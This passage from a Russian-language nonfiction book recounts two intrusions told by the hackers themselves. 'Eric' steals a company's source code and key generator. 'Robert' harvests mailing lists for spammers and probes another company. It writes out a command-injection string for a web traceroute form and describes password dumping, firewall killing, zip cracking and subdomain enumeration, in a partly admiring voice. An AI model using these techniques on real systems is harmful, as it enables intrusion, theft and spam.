Он также заглядывал и в такую скрытую часть операционной системы, которую неопытные хакеры обычно пропускают, как LSA-секреты, где содержатся сервисные пароли, пароль последнего пользователя, входившего в компьютер, RAS-имена (Remote Access Services — услуги удаленного доступа) для dial-up, пароли рабочих станций, используемые для доступа в домен и многое другое. Он также просмотрел и защищенную область для хранения данных, где хранились пароли для Internet Explorer и Outlook Express.
Сначала он извлек «мешанину» паролей, и, расшифровав их, восстановил. Поскольку сервер был одновременно резервным контроллером домена, почтовым сервером и вторичным DNS-сервером, Эрик получил доступ ко всем записям обо всех DNS-pecypcax, (включая, среди прочего, имена узлов и соответствующие IP-адреса), открыв панель управления DNS. которая содержала подробный список имен узлов и доменов, используемых в компании.
«Теперь у меня был список всех их узлов, и я собирал пароли к ним тут и там, перескакивая из системы в систему».
Подобные «скачки» были возможны благодаря его предыдущим успехам в расшифровке паролей на backup Интернет-сервере после использования пароля Microsoft SQL, который он нашел.
Он до сих пор не знал, на каком сервере разрабатываются приложения, хранятся коды программ и лицензируемые коды управления. В поисках подсказки он тщательно просматривал все письма и записи о работе в Интернете, чтобы найти там хоть какой-то намек. Однажды он нашел список других IP-адресов из распечатки, которая выглядела интересно, тогда он решил атаковать этот компьютер. Его «Священным Граалем» на этом этапе была рабочая станция разработчиков, поскольку любой разработчик всегда хотел бы иметь доступ ко всему набору файлов кодов.
После этого он решил затихнуть на несколько недель. Собрав коллекцию паролей, он не находил ничего интересного в течение нескольких месяцев, «только незначительные порции информации. которые, как я думал, будут мне полезны».
  КОМПЬЮТЕР   ГЛАВЫ   КОМПАНИИ
Почти восемь месяцев он «перескакивал с одного сервера на другой», не находя ни кодов программы, ни генератора ключей. Пока, наконец, не произошел некий прорыв. Он начал более пристально изучать backup Интернет-сервер, на который он проник первым, и обнаружил, что там хранятся копии всех писем, в частности список IP-адресов и адресов электронной почты всех сотрудников. Просмотрев этот список, он смог восстановить IP-адрес главы компании (CEO — Chief Executing Officer). Наконец-то он определил действительно достойную мишень.
«Наконец-то я нашел компьютер С Е О и это было уже интересно. Несколько дней я сканировал его порты, и он не отвечал, но я был уверен, что он там. В заголовках электронной почты я видел, что он использует один IP-адрес, но его там никогда не было.
Я начал сканировать его компьютер, проверяясь каждые два ч а с а — не прощупывает ли он меня, на тот случай, если бы у него были программы для обнаружения вторжения. Я прощупывал его несколько раз в день, но ограничил число портов пятью за каждые двадцать четыре часа. Через несколько дней я нашел порт, открытый, когда он работал за компьютером. Я наконец нашел открытый порт на его машине — 1433, работающий под MS SQL-сервером. Оказалось, что это его ноутбук, который он просматривал по два часа каждое утро. Итак, он приходил к себе в офис, проверял почту и затем уходил, выключив ноутбук».
  ПРОНИКНОВЕНИЕ   В   КОМПЬЮТЕР   С  Е  О
К тому времени Эрик собрал двадцать или тридцать паролей, принадлежащих компании. «У них были хорошие, сильные пароли, но они были построены по одному принципу. Однажды я понял его и раскрыл все пароли».
В этот момент Эрик осознал, что он занимается этим делом почти целый год. Только теперь его усилия увенчались успехом.
Эрик понял, что он распознал стратегию компании в области паролей, поэтому он опять вернулся к компьютеру СЕО, решив узнать его пароль. Что позволило ему надеяться на то, что он найдет пароль, который СЕО использует для MS SQL-сервера?
«Вы знаете, на самом деле я не могу этого объяснить. Это, похоже, моя способность — угадывать пароль, который выбирают люди, Я знаю даже то, какой пароль они будут использовать в будущем. У меня есть такое чувство, что я могу это знать. Это похоже на то, что я становлюсь ими и говорю, какой пароль я выбрал бы на их месте».
Он не знал, как это назвать — удачей или мастерством — поэтому закрылся формулировкой: «Я хорошо угадываю». Независимо от объяснения, он обычно узнавал правильный пароль, даже когда это было «не слово из словаря, а нечто более сложное».
Аналогичным образом он получил и пароль, который дал ему доступ к SQL-серверу в качестве администратора базы данных. СЕО был «Owned».
Он обнаружил, что компьютер хорошо защищен межсетевым экраном и лишь один порт у него открыт. Но Эрик обнаружил и немало такого, над чем он мог посмеяться. «Его система была крайне бестолковая. Я ничего не мог там найти, Я имею в виду, что там повсюду были файлы». Не зная иностранного языка, на котором там все было написано, Эрик использовал некоторые онлайновые словари и бесплатный сервис онлайнового перевода под названием «Bablefish», чтобы понять хотя бы ключевые слова. Ему помогал и его приятель, говоривший на этом языке. Из сообщений в «чатах» он смог отыскать дополнительные пароли и IP-адреса.
Поскольку файлы на ноутбуке были совершенно не организованы, и среди них невозможно было найти что-то ценное, Эрик применил другой подход, используя «dir/s/od <drive letter>», чтобы перечислить и отсортировать все файлы по датам, чтобы потом можно было обнаружить файл, недавно появившийся на диске, и проверить его в спокойной обстановке offline. В процессе такого анализа он обнаружил типичное имя для таблицы Excel, в этом файле содержались пароли для различных серверов и приложений, Из этого файла он определил имя пользователя и пароль для их первичного DNS-сервера.
Чтобы упростить свою следующую работу, укрепить почву под ногами и более легко загружать и выгружать файлы, он решил установить в ноутбуке СЕО свои хакерские программы. Он мог связываться с ноутбуком только через соединения Microsoft SQL-сервера, но мог использовать ту же процедуру, что и раньше для посылки команд в операционную систему, как если бы он находился прямо в среде Windows. Эрик написал небольшую программу, чтобы перекачать туда свои хакерские программы при помощи FTP. Когда ничего не произошло в течение трех попыток, он использовал программу со строкой прямо на ноутбуке под названием «pslist», чтобы выявить работающие там процессы.
  КОЛОССАЛЬНАЯ   ОШИБКА  !
Поскольку ноутбук СЕО работал с его персональным межсетевым экраном (Tiny Personal Firewall), каждая попытка использовать FTP-протокол приводила к появлению предупредительного окошка на экране ноутбука СЕО, в котором высказывалось предложение отключиться от Интернета. К счастью СЕО уже загрузил к себе весь набор строчных команд с сайта http://www.sysinternals.com для управления процессами. Эрик использовал команду «pskill» для того, чтобы убить межсетевой экран, так что упомянутое окошко исчезло еще до того, как СЕО успел его заметить.
Затем Эрик счел разумным затихнуть на несколько недель, на тот случай, если кто-то заметил его активность. Вернувшись, он стал использовать другую тактику для попыток размещения своих программ на ноутбуке СЕО. Он написал программу для того, чтобы восстановить некоторые из своих хакерских программ, используя «Internet explorer object», что позволяет обмануть персональный межсетевой экран, поскольку тот думает, что Internet Explorer запрашивает разрешение на соединение с Интернетом. Большинство пользователей позволяют Internet Explorer свободно проходить через персональный межсетевой экран (готов спорить, что и вы тоже), и Эрик рассчитывал на то, что его программы смогут воспользоваться этим преимуществом. Правильная мысль. Она сработала. В результате он смог использовать эти программы для начала поиска нужной информации на ноутбуке.
  CEO   ЗАМЕТИЛ   ПРОНИКНОВЕНИЕ
Все перечисленные методы, говорит Эрик, работают и сегодня.
Однажды, войдя в компьютер СЕО. Эрик опять убил межсетевой экран, чтобы передавать файлы на другой компьютер, откуда он смог бы перегрузить их к себе. В процессе этой работы он понял, что СЕО находится за компьютером и, должно быть, заметил что-то странное. «Вероятно, он увидел, что отсутствует значок работающего межсетевого экрана. Он понял, что я в его компьютере». Эрик немедленно отключился. Через несколько минут СЕО перезагрузил свой ноутбук и межсетевой экран опять заработал.
«Я не знаю, заметил ли он меня. Поэтому я подождал несколько недель, а потом возобновил свои попытки. Я уже изучил ритм его работы, и знал, когда могу попасть в систему».
  ПОЛУЧЕН   ДОСТУП   К   ПРИЛОЖЕНИЮ
Пересмотрев свою стратегию во время вынужденного перерыва, Эрик вернулся в ноутбук СЕО и начал изучать систему более тщательно. Прежде всего он запустил общедоступную строчную команду LsaDump2, чтобы просмотреть важную информацию, хранимую в специальном разделе памяти под названием L S A (Local Security Authority) Secrets. LSA Secrets содержали пароли для служебного пользования, зашифрованные пароли последних десяти пользователей, пароли пользователя для FTP и Интернета, имена пользователей и пароли для входа в сеть через dial-up.
Он запустил и команду «netstat», чтобы увидеть, какие соединения установлены в этот момент и какие порты участвуют в соединении. Он заметил, что один из портов с большим номером ожидает входящего соединения. Соединившись с этим портом через backup-сер-вер, на который он проник раньше, он понял, что это облегченный Интернет-сервер, который используется в качестве почтового интерфейса. Он сразу же понял, что может влезть в этот почтовый интерфейс и поместить любой файл в корневую директорию сервера, используемую для почтового интерфейса. После этого он легко сможет перегружать файлы с ноутбука СЕО на backup-сервер.
Не считая незначительных успехов за прошедший год, у Эрика по-прежнему не было нужных ему кодов программы генератора ключей. Но он и не думал отказываться от своей затеи. На самом деле ситуация становилась все более интересной. «Я нашел копию директории „tools“ на ноутбуке СЕО. В ней был интерфейс к генератору ключей, но не было доступа к базе данных».
Он не нашел лицензированный сервер, на котором находилась настоящая база данных с ключами всех клиентов, были лишь некоторые намеки на него. «Я не знал, где располагаются реальные лицензированные приложения для сотрудников. Мне просто необходимо было найти этот сервер». Он подозревал, что этот сервер расположен на том же сервере, что и почтовый, поскольку у компании был Интернет-сайт, который позволял клиентам немедленно получить заказанную программу. После того, как подтверждался перевод денег с кредитной карточки клиента, тот получал электронное письмо с лицензионным ключом. Остался только один сервер, на который Эрик не мог пробраться: именно на нем и должно было храниться приложение, вырабатывающее эти лицензионные ключи.
Итак, Эрик провел месяцы в сети и не достиг поставленной цели. Он решил еще раз просмотреть backup-сервер, на который он проник раньше, и начать сканировать почтовый сервер с других серверов, которыми он уже «владел», используя более широкий диапазон портов в надежде отыскать некоторые сервисы, работающие на нестандартных портах. Он подумал, что лучше будет проводить сканирование с внутреннего сервера в случае, если межсетевой экран пропускает только определенные IP-адреса.
В течение двух следующих недель он сканировал сеть так тихо, как только возможно, чтобы идентифицировать любые сервера, на которых работают необычные сервисы или пытаясь запустить обычные сервисы на нестандартных портах.
Продолжая свою работу по сканированию портов, Эрик начал исследовать файлы с архивами Internet Explorer в директории администратора и нескольких пользователей. Это привело его к еще одному открытию. Пользователи с backup-сервера соединялись с портом с большим номером на главном почтовом сервере, используя Internet Explorer. Он понял, что главный почтовый сервер блокирует доступ к этому порту, если соединение идет не с «разрешенных» IP-адресов.
Наконец он нашел Интернет-сервер на порту с большим номером — «1800 или что-то подобное» — вспоминает он, и смог угадать комбинацию имени пользователя и пароля, которые привели его в специальное меню. Одна из возможностей этого меню заключалась в просмотре информации о клиенте. Другая — давала возможность сгенерировать лицензионный ключ для продукта.
Бинго!
Это был сервер с реальной базой данных. Эрик почувствовал выброс адреналина в кровь, поскольку он приблизился к своей цели. Но «этот сервер был очень крутым, невероятно крутым». Он опять уперся в тупик. Он отступил назад и начал тщательно продумывать каждый свой шаг, у него возникла еще одна идея.
«У меня появились коды источника этих Интернет-страниц, поскольку я нашел на ноутбуке СЕО архив этих страниц. Я нашел также линк на Интернет-страницу, где проводилась диагностика сети, такая как netstat, traceroute и ping — вы могли разместить IP-адрес на Интернет-сайте и нажать „ОК“, эта команда выполнялась, и ее результат появлялся на вашем экране».
Он заметил небольшую ошибку в программе, которая запускалась с этого И н т е р н е т — с а й т а . Если он н а б и р а л команду «tracert», то выполнялась команда «traceroute» — отслеживание пути, по которому пакеты приходили к назначенному IP-адресу. Эрик понял, что может обмануть программу, задав ей команду с адресом IP, за которым он ставил значок «&», а потом еще одну нужную ему команду. Итак. он должен был писать что-то такое:
  localhost > null  &&  dir с:\
В этом примере информация прикрепляется к traceroute-коман-де для CGI-текстов. Первая часть (до символа «&») говорит программе выполнить команду «traceroute» для самой себя (что, в общем-то, бессмысленно), а выход послать в никуда, что приведет к его исчезновению. После того, как программа выполнит первую часть команды, символы «&&» покажут, что есть другая команда, которую надо выполнить. Это команда просит показать корневую директорию на диске С — что очень полезно для атакующего, потому что она позволяет ему выполнять любую shell-команду с привилегией того пользователя, который работает на Интернет-сервере в данный момент.
«Это дало мне весь доступ, который мне был нужен», — рассказывал Эрик. «Я получил доступ ко всему, что было на этом сервере».
Эрик был завален информацией. Он вскоре обнаружил, что разработчики компании помещали копии кодов своих программ на сервере каждую ночь. «Это было настоящее богатство — полная копия всех программ объемом пятьдесят мегабит». Он смог выполнить серию команд, чтобы переместить нужные ему файлы в корневую директорию Интернет-сервера, а затем перегрузить их на первую машину, из тех, куда ему удалось проникнуть — backup Интернет-сервер.
  ПОЙМАН  !
Инцидент с СЕО тщательно разбирался. Руководство компании было очень обеспокоено, но поскольку у всех них была куча забот, а Эрик был практически незаметен, больше тревоги они не поднимали. Однако по мере того, как он подбирался все ближе и ближе к сердцевине компьютерной системы, Эрику становилось все труднее оставаться незаметным. То, что произошло потом, случается часто — это расплата за долгое пребывание в чужой системе и постоянное продвижение рубежа атаки вперед и вперед. Он только начал перегружать к себе коды вожделенной программы, когда:
«…перегрузив примерно половину, я обнаружил, что загрузка прервалась. Я посмотрел в директорию, но файл оттуда исчез. Я начал просматривать log-файлы и изменения в датах присутствия пользователей и обнаружил, что еще один пользователь в данный момент просматривает log-файлы. Он узнал, что я что-то делаю, по сути дела — он поймал меня».
Тот, кто заметил Эрика, не тратил время попусту и быстро уничтожал важные файлы. Игра была окончена … или нет?
Эрик отсоединился и не показывался в системе около месяца. Он боролся за доступ к этой программе много месяцев, и должен был испытывать сильное разочарование. Однако, он говорит, что это не так.
«Я никогда не впадаю в отчаяние, поскольку это тоже является частью работы. Е с л и мне не удалось проникнуть с первого раза, значит, з а д а ч а более сложная. Н е т с м ы с л а в п а д а т ь в отчаяние. Э т о как компьютерная игра: вы переходите с уровня на уровень и решаете проблему за проблемой. Э т о просто ч а с т ь в с е й игры».
У Эрика своя теория судьбы: достаточное упорство всегда вознаграждается.
«Если какой-то прием не работает, я пробую что-то еще, поскольку я знаю, что обязательно что-то сработает. Всегда что-то срабатывает. Надо просто найти, что».
  НАЗАД   —   НА   ТЕРРИТОРИЮ   ВРАГА
Несмотря на провал, через месяц он опять начал атаку и соединился с компьютером СЕО для следующего просмотра записей его переговоров (он сохранял у себя все эти записи), чтобы посмотреть, есть ли там какие-то доклады о его хакерском вторжении. Помня точно день и время, когда он проникал в компьютеры компании и был замечен. Эрик просматривал именно этот участок архивов. Ни одного слова о его атаке или замеченном вторжении там не было. Он вздохнул с облегчением.
Заодно он понял, почему ему так «повезло». Почти в тот же момент, когда он был замечен, у одного из клиентов компании произошла авария. Все сотрудники ИТ-департамента побросали свои дела и занялись ее устранением. Эрик нашел более позднюю запись о том, что парень, который его обнаружил, просто запустил антивирусную программу, но не предпринял никаких дополнительных действий. «Было похоже, что ему что-то показалось подозрительным. Он немного поразбирался с проблемой, не смог понять, в чем дело, и просто забыл о ней».
Эрик ретировался и подождал довольно долго для новой атаки, причем совершал ее более осторожно, только в нерабочие часы, когда он быть уверен, что никого на работе нет.
Кусок за куском он перегрузил к себе весь код полностью, направив передачу через промежуточный сервер, расположенный в другой стране — по той причине, что всем процессом он управлял из своего дома.
Эрик описывал свое знание сети компании с просто фантастическими подробностями, но если вспомнить о том количестве времени, которое он провел входя и выходя во все системы компании, к какой тщательностью он изучал все их детали — это становится вполне понятным.
«Я знал их систему лучше, чем кто бы то ни было. Любую их проблему я мог бы разрешить гораздо лучше, чем это могли сделать они сами. Я имею в виду, что прекрасно знал каждую часть их сети не только снаружи, но и изнутри».
  Е  Щ  Е   НЕ   ТАМ  …
Эрик наконец заполучил, безопасно перегрузив к себе на компьютер, коды программ сервера… но еще не в такой форме, чтобы их можно было открыть и изучать. Из-за огромных объемов программ разработчики обычно хранят их на сервере в сжатом виде «zip». Эрик попробовал расшифровать их обычной unzip-программой, но это ему не удалось. Тогда он обратился к плану В.
Эрик использовал новый усовершенствованный «взламыватель» паролей PkCrack, который использовал технику под названием «атака с известным текстом». Зная определенное количество текста в расшифрованном виде, и имея полный зашифрованный текст, программа могла расшифровать его весь или все файлы в архиве. «Я открыл zip-файл и обнаружил там файл „logo.tif“, затем я направился на их главный Интернет сайт и просмотрел там все файлы под названием „logo.tif“. Я перегрузил его к себе и „зазиповал“, после чего обнаружил, что у него в точности такая же проверочная сумма, как и у одного из защищенных zip-файлов, которые я старался раскрыть».
Теперь у Эрика был зашифрованный zip-файл и его расшифрованная версия logo.tif. Всего за пять минут программа PkCrack сравнила обе эти версии и раскрыла пароль для их расшифровки. С помощью пароля он быстро раскрыл все файлы.
После сотен длинных ночей Эрик наконец получил в свои руки полный текст программы, за которым он так долго и упорно охотился.
По поводу того, почему достижение отняло так много времени. Эрик отвечает:
«Каждому нравится что-то свое. Я люблю ставить перед собой задачу и решать ее так, чтобы меня не обнаружили. Я люблю делать все не так, как другие, и очень тихо. Я люблю находить креативные пути к решению любой проблемы. Действительно, перегрузить к себе текст может быть, и проще, но насколько интереснее мой путь. Крадите тексты, если вы воришка, а если можете избежать этого — будьте хакером».
Что же он делал с полученной программой и генератором ключей? Ответ состоит в том, что он и Роберт — герой следующей истории — ставят перед собой цели, которые типичны для кракеров всего мира. Вы найдете подробный рассказ об этом в разделе под названием «Распределение» перед окончанием главы.
  РОБЕРТ  ,   ДРУГ   СПАМЕРА
В далекой Австралии живет еще один из этих честных джентльменов, которые днем трудятся, как уважаемые профессионалы в области безопасности и становятся опасными хакерами ночью, оттачивая свое мастерство и расплачиваясь в своих взаиморасчетах при помощи проникновения в самые труднодостижимые программистские компании мира.
Но Роберта, о котором у нас пойдет речь, нельзя было просто причислить к этой категории. Он слишком сложная личность для этого: один месяц он тратит на погоню за какой-нибудь программой исключительно ради собственного удовольствия и удовлетворения своего тщеславия, а другой месяц, чтобы заработать деньги, тратит на занятие, которое он сам же называет «грязным спамом». Не грязным. поскольку спамерство не его личная цель: и в то же время грязным из-за типа спамерства, которым он занимался.
«Зарабатывать себе на жизнь хакерством», — говорит он, «это жизненный принцип». Он не испытывал особого стыда, рассказывая нам свою историю. Он делал это безо всякого принуждения. При этом он даже придумал новый термин: «Вы можете назвать меня „спикером“ — хакером, который работает для спамеров».
«Ко мне обратился мой друг, который сказал: „Я хочу продать несколько порнофильмов с жестким мазохизмом тысячам людей. Мне хотелось бы получить несколько миллионов адресов электронной почты любителей подобных видеофильмов“.
Скорее всего, вы или я отказались бы от подобного предложения. Роберт «немного подумал об этом» и все же решил посмотреть, как он может решить поставленную задачу.
«Я просмотрел все эти жесткие мазохистские сайты», — говорит он, подчеркивая, что делал это, несмотря «на явное недовольство своей подружки». Свой поиск он проводил прямым и ясным способом — при помощи поисковика Google и другой поисковой машины  http://www.copernic.com  , которая использовала различные поисковики.
В результате он получил список для работы: «Единственное, что я хотел узнать из всех этих порносайтов — это список людей, любящих мазохистские порнофильмы и желающих получить новинки этой гадости». Если Роберт и собирался помочь спамеру, то он не намеревался сам, «как все эти идиоты», рассылать сотни электронных писем всем и каждому, кто проявил хоть малейший интерес к объявленной теме, а также и тем, кто не проявлял к ней ни малейшего интереса.
  ПОЛУЧЕНИЕ   СПИСКА   РАССЫЛКИ
Роберт обнаружил, что многие из тех самых мазохистских сайтов пользуются одним и тем же приложением для управления списком своих подписчиков, которое я буду называть SubscribeList.
«При помощи Google я обнаружил человека, который заказал себе такое приложение и хранил его на своем Интернет-сервере. По-моему, это был сайт где-то в Китае или на Тайване».
Следующий шаг был даже еще проще, чем он думал. «Интернет-сервер был сконфигурирован неправильно. Каждый пользователь мог посмотреть исходные коды его программ. Это была не самая последняя версия программ, но все же достаточно свежая».
Ошибка же заключалась в том, что кто-то случайно или по небрежности оставил сжатый архив этих программ в директории документов Интернет-сервера. Роберт перегрузил себе все коды программ.
С помощью этих программ и имен, которые он получил с сайтов, Роберт сделал вывод:
«Я мог бы разослать электронные письма с таким текстом: „Захотите на мой сайт, у нас есть нечто специальное по теме „порки“ за полцены. Масса людей подписалась бы на такое предложение“.
Итак, хотя у него была программа для управления листом рассылки, у него не было самого листа рассылки.
Он сел и начал изучать коды SubscribeList и в конце концов обнаружил некую возможность, написав программу Perl. Подробное техническое объяснение достаточно сложное (смотрите в разделе «Анализ» в конце главы).
Аналогично тому, как кракер в предыдущей истории использовал символ «&» для обмана программы и выполнения нужной ему команды, Роберт использовал брешь в «setup.pl». Этот хакерский путь называется «backticked variable injection flaw», он использует недоработку в программе setup.pl, которая недостаточно тщательно проверяет данные, передаваемые ей. (Различие лишь в операционных системах. Метод Эрика работал в среде Windows: метод Роберта — в Linux). Злонамеренный атакующий может послать такую команду, которая поменяет значение некоторого параметра таким образом, что текст может измениться на другой Perl-текст, который будет исполнять произвольные команды. Благодаря этой оплошности программиста атакующий может встраивать собственные команды.
С помощью этого метода можно было обманывать setup.pl, заставляя его думать, что атакующий только что установил SubscribeList и хочет сделать начальную установку параметров. Роберт мог использовать этот трюк с любой компанией, которая использовала уязвимую версию программного обеспечения. Как же ему отыскать мазохистскую компанию, которая удовлетворяла бы этим требованиям?
Текст программы, по словам самого Роберта, « б ы л очень хитрым и извилистым». Когда работа программы заканчивалась, она уничтожала все следы своего присутствия и возвращала все значения переменных к их начальным величинам, так что никто не мог ничего сказать о случившемся. «И насколько я знаю, никто не смог заметить ее действия».
Ни один разумный хакер не стал бы посылать эти файлы прямо на свой компьютер таким образом, что его можно было бы выследить. «Я настоящий ф а н а т Интернета. Я люблю Интернет. С е т ь допускает анонимность. Вы можете войти в Интернет из какого-нибудь кафе и никто не догадается, кто вы на самом деле. Мне нравится несколько раз обежать вокруг земного шара, причем каждый раз по-новому. Подобную связь сложнее отследить, а в log-файле это будет всего одна или две строчки».
  ДОХОД   ОТ   ПОРНОГРАФИИ
Роберт обнаружил, что многие мазохистские сайты используют одно и то же программное обеспечение для проведения рассылки. При помощи его модифицированной программы он попадал на эти сайты и извлекал к себе их список рассылки, который он затем переправлял своему другу-спамеру. Роберт подчеркивает: «Я не был прямым спамером».
Его маркетинговая политика оказалась невероятно успешной. Когда вы рассылаете свои предложения тем людям, о которых знаете, что они «действительно любят эту мерзость» (используя меткое выражение Роберта) эффективность откликов превосходит все ожидания.
«Обычно вы ожидаете процент отклика в 0,1 — 0,2%. Мы получили 30%, во всяком случае, так говорят опросы. 30 — 40% людей купили кассету. Для мира спамеров — это абсолютный рекорд. В результате этой деятельности было получено сорок пять — пятьдесят тысяч долларов и мне досталась треть».
Успех этой продажи основан прежде всего на том, что Роберт собрал список людей, желающих выложить деньги за товар такого рода. Если числа, которые он называет, точные, то можно только сожалеть о мире, в котором мы живем.
Роберт говорит, что собрал от десяти до пятнадцати миллионов имен!
  РОБЕРТ   КАК   ЛИЧНОСТЬ
Несмотря на этот эпизод, Роберт настаивает: «я не являюсь мерзким спамером; я честный и прямой человек». В подтверждение своих слов он объясняет, что работает в области безопасности для одной «очень религиозной и честной компании» и берет внешние заказы, как независимый консультант в области безопасности. Он даже публикует статьи по темам в сфере безопасности.
Он очень поэтично выражает свое отношении к занятию хакерством.
«Я очень люблю, когда передо мной встает определенный вызов, я люблю сражаться с системой на уровне конфигурации или социальной инженерии, а не только на техническом уровне — социальная инженерия означает проникновение в человека, сидящего за компьютером».
За плечами Роберта долгая история хакерства. Он упоминает своего друга (американского хакера, чье имя он не хочет называть), который играл с ним в такую игру:
«Мы оба часто проникали в компании разработчиков, которые создали такие известные программы как Active X controle и Delphi controls, а также множество небольших, но приятных программ для программирования. Е с т ь даже специальный журнал на э т у тему, а там рекламируются в с е программные новинки. И м ы с р а з у ж е смотрели, е с т ь л и там что-то, ч т о мы еще не получили. Особенно игры».
Он бродил по внутренним сетям главных производителей компьютерных игр и получал коды программ их игр.
Совершенно случайно он и его приятель-хакер обнаружили. что «мы проникаем практически в каждую компанию, которая рекламирует свой новый продукт. Мы уже были там, там и там…
Мы стараемся просто проникнуть туда, но получаем все, что хотим».
И все же одна область была особенно интересна Роберту: программные продукты для того, что он называл «продукция видео по почте» — в частности, программы, которые используются для анимации в кинофильмах.
«Я люблю то, что делают эти ребята. Среди них попадаются настоящие гении. Я люблю читать их программы и понимать, как они работают, они выглядят так дико, когда на них смотришь. Я имею в виду, когда смотришь по телевизору мультипликационные фильмы. Дьявол, как это круто!»
Особенно он любил изучать коды с математической точки зрения — «уравнения и функции, а главное человеческий интеллект, который ими управляет. Это феноменально!»
Все это и привело его к тому, что он называет самым памятным случаем хакерства.
  ИСКУШЕНИЕ   ПРОГРАММОЙ
В 2003 году Роберт по своему обыкновению просматривал анонсы продуктов в программном журнале и обнаружил новый продукт для изготовления «цифровых видеоэффектов, забавных штучек со светом — одно из приложений, с помощью которого они делают свет выглядящим реально, а поверхности предметов — отражающими этот свет».
Главное достоинство этого продукта заключалось в том, что он использовался при производстве нового полноформатного анимационного фильма — одно из тех средств, которое использовалось для дизайна, моделирования и съемки фильма.
«Когда я узнал об этом, то подумал, что это круто. И некоторые люди из кругов, в которых я вращался в Интернете, были очень заинтересованы в этом программном обеспечении. Масса людей хотела заполучить его в свои руки.
Каждый хотел получить это приложение, поскольку его трудно достать, оно дорого стоит — две, а то и три тысячи долларов. Е г о используют такие гиганты как Industrial Light and Magic и, может быть, еще четыре-пять компаний в мире купили его.
Так или иначе, я действительно захотел получить в свои руки эту программу и решил отыскать компанию, у которой я буду ее извлекать. Компания «Икс» — вы согласны? Э т а компания расположена в США, и вся ее сеть была централизована».
В его задачу не входило добывать эту программу для себя, он хотел разделить обладание ею с миллионами пользователей Интернета по всему миру.
Он обнаружил, что у компании «есть межсетевой экран и небольшая сеть. У них было много серверов и Интернет-серверов. По моим оценкам у них было сто — сто пятьдесят сотрудников».
  РАСКРЫВАЯ   ИМЕНА   С  Е  Р  В  Е  Р  О  В
Роберт использовал обычную стратегию, когда он пытался проникнуть в корпоративную сеть достаточно большого размера. Он «начал разбираться, как они заботятся о людях, которые хотят войти в их сеть. У большой компании в этом плане гораздо больше проблем. чем у маленькой. Если у вас пять сотрудников, вы каждому из них можете послать электронное письмо, правильно? Или вы можете собрать их всех и сказать, „вот как вы можете соединиться с вашим сервером из дома, а вот как вы можете дома просматривать свою электронную почту“.
А вот у большой компании должна быть специальная служба Help Desk или какие-то внешние службы, куда люди могли бы обратиться при возникновении проблем с компьютером. Роберт знал, что компании с большим числом сотрудников должны иметь большое число разнообразных инструкций — в основном на их Help Desk — объясняющих, как получить удаленный доступ к своим файлам и электронной почте. Если бы ему удалось отыскать эти инструкции, он бы смог понять необходимую последовательность шагов по проникновению в эту сеть извне, в частности, какое программное обеспечение необходимо для соединения с внутренней сетью поверх корпоративной VPN (Virtual private network — виртуальная частная сеть). В частности, он надеялся найти, какие точки используют разработчики для доступа к системе разработки извне, поскольку они должны постоянно иметь доступ к своим кодам.
На этом этапе ему надо было найти путь к Help Desk. «Я начал с небольшой программки под названием Network Mapper, кo-торую написал сам однажды. Она перебирает список типичных номеров узлов. Я использую ее в моих анализах DNS».
Network Mapper идентифицирует узлы и находит IP-адреса для каждого из них. Программа Perl (также написанная Робертом), перебирает список общеупотребительных имен узлов и проверяет, нет ли таких же имен в домене атакуемой компании. Итак, для атаки на компанию под названием «digitaltoes», хакерское средство может искать web.digitaltoes.com, mail.digitaltoes.com и т.д. При таком поиске можно найти скрытые IP-адреса или сетевые блоки, которые не так просто идентифицировать. После работы программы он может получить результаты, которые выглядят так:

beta.digitaltoes.com

IPAdress #1:63.149.163.41…
  ftpdigitaltoes.com
IPAdress #1:63.149.163.36…
intranet.digitaitoes.com
IPAdress #1:63.115.201.138…
mail.digitaltoes.com
IPAdress #1:63.149.163.42…
  wwwdigitaitoes.com
IPAdress #1:63.149.163.36…

Отсюда следует, что наша фиктивная компания «digitaitoes» имеет некоторые сервера в сетевом блоке 63.149, но я поставил бы свои деньги на сервер в сетевом блоке 65.115 с именем «intranet», что соответствует их внутренней сети.
  НЕКОТОРАЯ   ПОМОЩЬ   ОТ   H E L P D E S K . E X E
Среди серверов, которые Роберт обнаружил с помощью своего Network Mapper был один, на который он особенно надеялся: helpdesk.companyX.com. Когда он пытался проникнуть на этот сайт, то появилось диалоговое окно с требованием ввести имя пользователя и пароль, допуская туда только авторизованных пользователей.
Приложения для helpdesk находились на сервере, где работала IIS4, древняя версия Microsoft Internet Information Server (IIS), которая, как Роберт знал, имела целый ряд лазеек. При небольшом везении он мог бы найти одну незаделанную и поэтому полезную для него.
Он обнаружил зияющую дыру. Некоторые администраторы компаний инициируют MS Front Page таким образом, что любой может выгрузить или загрузить файлы из корневой директории, где хранятся файлы Интернет-сервера.
(Мне хорошо знакома эта проблема. Однажды Интернет-серверы в компании по обеспечению безопасности, которую я создал, были атакованы через аналогичную брешь, потому что системный администратор, который добровольно помогал мне, неправильно сконфигурировал систему. К счастью, сервер работал в своем собственном сегменте сети, отделенном от остальной).
Поняв, что эта ошибка дает ему возможность загружать файлы на сервер и сгружать с сервера, он начал смотреть на параметры сервера.
«Наиболее распространенный вариант использования тупых IIS-серве-ров состоит а возможности авторизации FrontPage».
И у этого сайта была такая слабость. Развертывание Microsoft FrontPage (программа-приложение, используемая для простого создания и редактирования HTML-документов) без установки соответствующих разрешений на пропуск файлов — обычное заблуждение системных администраторов, которые иногда специально конфигурируют так сайт из соображений удобства. В данном конкретном случае любой человек мог не только прочесть файлы, но также и загрузить туда файлы в любую незащищенную директорию. Роберт действовал в том же стиле.
«Я смотрел на все это и думал: «Черт побери, я могу прочесть или отредактировать любую страницу на этом сервере без всякого имени пользователя или пароля.
Таким образом, я мог войти и изучать корневую директорию на Интернет-сервере».
По мнению Роберта, большинство хакеров упускают такую возможность.
«Дело в том, что когда люди устанавливают сканер сети на сервере, они чаще всего не смотрят на ошибки в конфигурации таких приложений, как FrontPage. Они смотрят (чтобы посмотреть на тип сервера) и говорят „ Э т о Apache“ или „ Э т о I I S “ . И они упускают возможность упростить свою жизнь в том случае, если FrontPage неправильно сконфигурирована».
Это было не так прекрасно, как он ожидал, поскольку «на этом сервере было не так уж много интересного». И все же он заметил, что приложение под названием «helpdesk.exe» появляется, когда он получает доступ к сайту через свой браузер. Это могло бы оказаться очень полезным, но требовало знать имя пользователя и пароль.
«Итак, я смотрел на все это и думал, как атаковать этот треклятый сайт? Я не люблю делать одну вещь: это загружать файлы на Интернет-сервер, потому что, если администратор просмотрит записи об Интернет-активности и увидит, что среди тысячи сотрудников его компании, которые обращались к helpdesk.exe, неожиданно оказался парень из Южной Атлантики, работающий с two.exe или каким-то другим приложением, это сразу насторожит его, правильно? Поэтому я старался избегать подобных записей».
